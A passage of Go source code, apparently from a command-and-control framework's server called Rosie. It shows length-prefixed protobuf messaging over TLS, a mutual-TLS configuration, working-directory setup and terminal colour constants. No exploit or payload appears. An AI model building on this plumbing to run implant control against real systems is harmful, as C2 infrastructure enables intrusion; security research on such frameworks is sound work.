handler.(func(c2Connection, []byte))(clientConn, envelope.Data) 237 | } 238 | } 239 | 240 | // socketWriteMessage - Writes a message to the TLS socket using length prefix framing 241 | // which is a fancy way of saying we write the length of the message then the message 242 | // e.g. [uint32 length|message] so the reciever can delimit messages properly 243 | func socketWriteMessage(connection net.Conn, envelope pb.Envelope) error { 244 | log.Printf("Send: %s", envelope.Type) 245 | data, err := proto.Marshal(&envelope) 246 | if err != nil { 247 | log.Print("Envelope marshaling error: ", err) 248 | return err 249 | } 250 | dataLengthBuf := new(bytes.Buffer) 251 | binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data))) 252 | connection.Write(dataLengthBuf.Bytes()) 253 | connection.Write(data) 254 | return nil 255 | } 256 | 257 | // socketReadMessage - Reads a message from the TLS connection using length prefix framing 258 | // returns messageType, message, and error 259 | func socketReadMessage(connection net.Conn) (pb.Envelope, error) { 260 | 261 | log.Print("Reading ... ") 262 | 263 | // Read the first four bytes to determine data length 264 | dataLengthBuf := make([]byte, 4) // Size of uint32 265 | _, err := connection.Read(dataLengthBuf) 266 | if err != nil { 267 | log.Printf("Socket error (read msg-length): %v", err) 268 | return pb.Envelope{}, err 269 | } 270 | dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf)) 271 | 272 | // Read the length of the data, keep in mind each call to .Read() may not 273 | // fill the entire buffer length that we specify, so instead we use two buffers 274 | // readBuf is the result of each .Read() operation, which is then concatinated 275 | // onto dataBuf which contains all of data read so far and we keep calling 276 | // .Read() until the running total is equal to the length of the message that 277 | // we're expecting or we get an error. 278 | readBuf := make([]byte, readBufSize) 279 | dataBuf := make([]byte, 0) 280 | totalRead := 0 281 | for { 282 | n, err := connection.Read(readBuf) 283 | dataBuf = append(dataBuf, readBuf[:n]...) 284 | totalRead += n 285 | if totalRead == dataLength { 286 | break 287 | } 288 | if err != nil { 289 | log.Printf("Read error: %s", err) 290 | break 291 | } 292 | } 293 | 294 | if err != nil { 295 | log.Printf("Socket error (read data): %v", err) 296 | return pb.Envelope{}, err 297 | } 298 | // Unmarshal the protobuf envelope 299 | envelope := &pb.Envelope{} 300 | err = proto.Unmarshal(dataBuf, envelope) 301 | if err != nil { 302 | log.Printf("unmarshaling envelope error: %v", err) 303 | return pb.Envelope{}, err 304 | } 305 | return *envelope, nil 306 | } 307 | 308 | // getServerTLSConfig - Generate the TLS configuration, we do now allow the end user 309 | // to specify any TLS paramters, we choose sensible defaults instead 310 | func getServerTLSConfig(caType string, host string) *tls.Config { 311 | caCertPtr, _, err := GetCertificateAuthority(caType) 312 | if err != nil { 313 | log.Fatalf("Invalid ca type (%s): %v", caType, host) 314 | } 315 | caCertPool := x509.NewCertPool() 316 | caCertPool.AddCert(caCertPtr) 317 | 318 | certPEM, keyPEM, _ := GetServerCertificatePEM(caType, host) 319 | cert, err := tls.X509KeyPair(certPEM, keyPEM) 320 | if err != nil { 321 | log.Fatalf("Error loading server certificate: %v", err) 322 | } 323 | 324 | tlsConfig := &tls.Config{ 325 | RootCAs: caCertPool, 326 | ClientAuth: tls.RequireAndVerifyClientCert, 327 | ClientCAs: caCertPool, 328 | Certificates: []tls.Certificate{cert}, 329 | CipherSuites: []uint16{tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384}, 330 | PreferServerCipherSuites: true, 331 | MinVersion: tls.VersionTLS12, 332 | } 333 | tlsConfig.BuildNameToCertificate() 334 | return tlsConfig 335 | } 336 | 337 | // GetRosieDir - Get the Rosie working dir ~/.rosie/ 338 | func GetRosieDir() string { 339 | user, _ := user.Current() 340 | rosieDir := path.Join(user.HomeDir, ".rosie") 341 | if _, err := os.Stat(rosieDir); os.IsNotExist(err) { 342 | log.Printf("Creating rosie working directory: %s", rosieDir) 343 | err = os.MkdirAll(rosieDir, os.ModePerm) 344 | if err != nil { 345 | log.Fatal(err) 346 | } 347 | } 348 | return rosieDir 349 | } 350 | -------------------------------------------------------------------------------- /server/terminal.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | const ( 4 | normal = "\033[0m" 5 | black = "\033[30m" 6 | red = "\033[31m" 7 | green = "\033[32m" 8 | orange = "\033[33m" 9 | blue = "\033[34m" 10 | purple = "\033[35m" 11 | cyan = "\033[36m" 12 | gray = "\033[37m" 13 | bold = "\033[1m" 14 | clearln = "\r\x1b[2K" 15 | upN = "\033[%dA" 16 | downN = "\033[%dB" 17 | 18 | // Info - Display colorful information 19 | Info = bold + cyan + "[*] " + normal 20 | // Warn - Warn a user 21 | Warn = bold + red + "[!] " + normal 22 | // Debug - Display debug information 23 | Debug = bold + purple + "[-] " + normal 24 | // Woot - Display success 25 | Woot = bold + green + "[$] " + normal 26 | ) 27 | --------------------------------------------------------------------------------